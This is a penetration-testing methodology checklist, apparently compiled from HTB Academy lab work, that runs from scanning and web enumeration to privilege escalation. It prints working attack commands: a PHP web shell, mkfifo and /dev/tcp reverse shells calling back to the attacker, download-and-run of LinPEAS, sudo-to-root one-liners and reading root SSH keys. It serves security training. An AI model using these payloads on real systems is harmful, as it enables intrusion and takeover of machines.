Web Penetration Testing Methodology Checklist

Based on HTB Academy — Getting Started Module

Compiled by Calm Ay (Rasaq Ayomide)

This checklist is built from real HTB Academy lab experience covering WordPress exploitation, NibbleBlog RCE, GetSimple CMS compromise, and Linux privilege escalation. Use it as a repeatable methodology for web-focused CTF boxes and real-world engagements.

PHASE 1 — RECONNAISSANCE

1.1 Network Scanning

Quick scan — top 1000 ports, service detection:

```
nmap -sV --open -oA initial_scan <target-ip>
```

Full port scan — all 65535 ports (run in background):

```
nmap -p- --min-rate 5000 -T4 -Pn <target-ip> -oA full_scan &
```

Targeted script scan on open ports:

```
nmap -sC -p <ports> -oA script_scan <target-ip>
```

- ■ Run initial scan — identify open ports and service versions
- ■ Run full port scan in background — catch non-standard ports
- ■ Banner grab with netcat to confirm service versions
- ■ Run script scan (-sC) on identified ports
- ■ Add -Pn if host appears down (ICMP blocked)
- ■ Save all scan output with -oA for later reference

1.2 OS & Service Identification

- ■ Note OS type from nmap Service Info field
- ■ Note exact service versions for exploit searching
- ■ Check if SSH is available — useful for later access
- ■ Identify web server type and version (Apache, Nginx, IIS)

PHASE 2 — WEB ENUMERATION

2.1 Technology Fingerprinting

```
whatweb http://<target-ip>
curl -s http://<target-ip> | grep -i 'generator\|powered\|version'
```

- ■ Run whatweb for quick tech fingerprinting
- ■ curl the homepage and inspect source code for comments/hints
- ■ Check page title for CMS/application name
- ■ Look for /readme.html, /changelog.txt, /robots.txt, /sitemap.xml
- ■ Check HTTP response headers (Server, X-Powered-By)
- ■ Identify exact CMS/framework version

2.2 Directory & File Brute Forcing

```
gobuster dir -u http://<target-ip> -w /usr/share/wordlists/dirb/common.txt
# or with SecLists:
gobuster dir -u http://<target-ip> -w /opt/useful/SecLists/Discovery/Web-Content/common.txt
```

- ■ Run gobuster/ffuf/dirb against web root
- ■ Run directory scan against any discovered sub-paths
- ■ Check for directory listing on discovered directories
- ■ Look for /admin/, /login/, /dashboard/, /wp-admin/
- ■ Check /backup/, /backups/, /data/, /uploads/ for exposed files
- ■ Add discovered domain to /etc/hosts if virtual hosting is used

2.3 CMS-Specific Enumeration

```
# WordPress:
wpscan --url http://<target> --enumerate u,p

# General:
searchsploit <cms-name> <version>
```

- ■ WordPress: run WPScan for users, plugins, themes, vulnerabilities
- ■ WordPress: check /wp-content/uploads/ for directory listing
- ■ Any CMS: identify installed plugins and their versions
- ■ Check for exposed config files (wp-config.php, config.php)
- ■ Try default credentials (admin:admin, admin:password, admin:)

PHASE 3 — EXPLOIT DISCOVERY

```
searchsploit <application> <version>
# copy exploit to cwd:
searchsploit -m <edb-id>
# also check: exploit-db.com, github.com, rapid7.com
```

- ■ searchsploit every identified service/application version
- ■ Search for CVEs on Google: ' exploit CVE'
- ■ Check if exploit requires authentication or is pre-auth
- ■ Read the exploit code/notes fully before running
- ■ Check Metasploit: msfconsole → search
- ■ Prioritize: RCE > File Upload > SQLi > Path Traversal > XSS

- Note CVSS score — higher score = more critical

PHASE 4 — GAINING FOOTHOLD

4.1 Web Shell / File Upload

```
# Simple PHP webshell:
echo '<?php system($_GET["cmd"]); ?>' > shell.php

# Test RCE:
curl 'http://<target>/path/shell.php?cmd=id'
```

- Check if file upload allows PHP extensions
- Try extension bypass: shell.php%, shell.php5, shell.phtml
- Check if uploaded files are stored in a web-accessible directory
- Test RCE with simple command (id, whoami) before full shell
- If CMS has theme/plugin editor — inject PHP shell directly
- Extract CSRF nonce if required for form submission

4.2 Reverse Shell

```
# Start listener:
nc -lvnp 9443

# Bash reverse shell payload:
rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc <your-ip> 9443 >/tmp/f
```

- Check tun0 IP before creating payload: ip a | grep tun0
- Start netcat listener BEFORE triggering the shell
- Use bash mkfifo reverse shell for Linux targets
- Upgrade to interactive TTY immediately after catching shell

4.3 Shell Upgrade

```
python3 -c 'import pty; pty.spawn("/bin/bash")'
# or: python -c 'import pty; pty.spawn("/bin/bash")'
# then: Ctrl+Z → stty raw -echo → fg → export TERM=xterm
```

- Try python3 first, then python if not found
- Upgrade to full TTY for su, sudo, text editors to work
- Run 'whoami', 'id', 'hostname' to confirm context
- Check home directories: ls /home/
- Grab user.txt flag from /home//user.txt

PHASE 5 — PRIVILEGE ESCALATION

5.1 Quick Manual Checks (Always Do These First)

```
sudo -l                         # sudo privileges
id                              # current user groups
```

```
cat /etc/passwd                 # list all users
find / -perm -4000 2>/dev/null  # SUID binaries
cat /etc/crontab 2>/dev/null    # cron jobs
```

- ■ sudo -l — ALWAYS first, check for NOPASSWD entries
- ■ Check GTFOBins for any NOPASSWD binaries found
- ■ Check SUID binaries — find / -perm -4000 2>/dev/null
- ■ Check crontab — writable scripts run as root
- ■ Check for world-readable SSH private keys: cat /root/.ssh/id_rsa
- ■ Check for exposed credentials in config files
- ■ Check bash history: cat ~/.bash_history
- ■ Check running processes: ps aux

5.2 Automated Enumeration

```
# Serve LinPEAS from attack machine:
sudo python3 -m http.server 8080

# Download and run on target:
cd /tmp
wget http://<your-ip>:8080/linpeas.sh
chmod +x linpeas.sh
./linpeas.sh | tee linpeas_output.txt
```

- ■ Run LinPEAS for comprehensive automated enumeration
- ■ Focus on RED/YELLOW highlights — 99% PE vectors
- ■ Check LinPEAS output for: sudo rights, SUID, creds, writable files
- ■ Run LinEnum as alternative: chmod +x LinEnum.sh && ./LinEnum.sh

5.3 Common Privesc Techniques

sudo NOPASSWD binary: Use GTFOBins: sudo php -r "system('/bin/bash');" or sudo python3 -c "import os; os.system('/bin/bash')"

Writable root script: Append reverse shell: echo 'bash -i >& /dev/tcp//port 0>&1' | tee -a script.sh → sudo ./script.sh

Exposed SSH key: cat /root/.ssh/id_rsa → copy to Pwnbox → chmod 600 id_rsa → ssh root@target -i id_rsa

Password reuse: Found creds in config? Try: su root / su with same password

Cron job: Find writable script in crontab → inject reverse shell → wait for execution

PHASE 6 — POST EXPLOITATION & DOCUMENTATION

- ■ Grab user.txt: cat /home/*/user.txt
- ■ Grab root.txt: cat /root/root.txt
- ■ Document every command run and its output
- ■ Note timestamps of all exploitation steps
- ■ Screenshot or save evidence of flags

■ Write up the full attack chain for your portfolio

QUICK TOOLS REFERENCE

Nmap: nmap -sV --open / nmap -p- --min-rate 5000 -Pn

WPScan: wpscan --url --enumerate u,p

Gobuster: gobuster dir -u -w

searchsploit: searchsploit / searchsploit -m

Netcat: nc -lvnp (listener) / nc -nv (banner grab)

LinPEAS: wget /linpeas.sh && chmod +x && ./linpeas.sh

GTFOBins: https://gtfobins.github.io — sudo/SUID binary exploitation

PayloadsAllTheThings: https://github.com/swisskyrepo/PayloadsAllTheThings

HackTricks: https://book.hacktricks.xyz — privesc checklists

Built from HTB Academy Getting Started Module — WordPress, Nibbles, GetSimple CMS labs

Calm Ay — linkedin.com/in/rasaq-ayomide-sec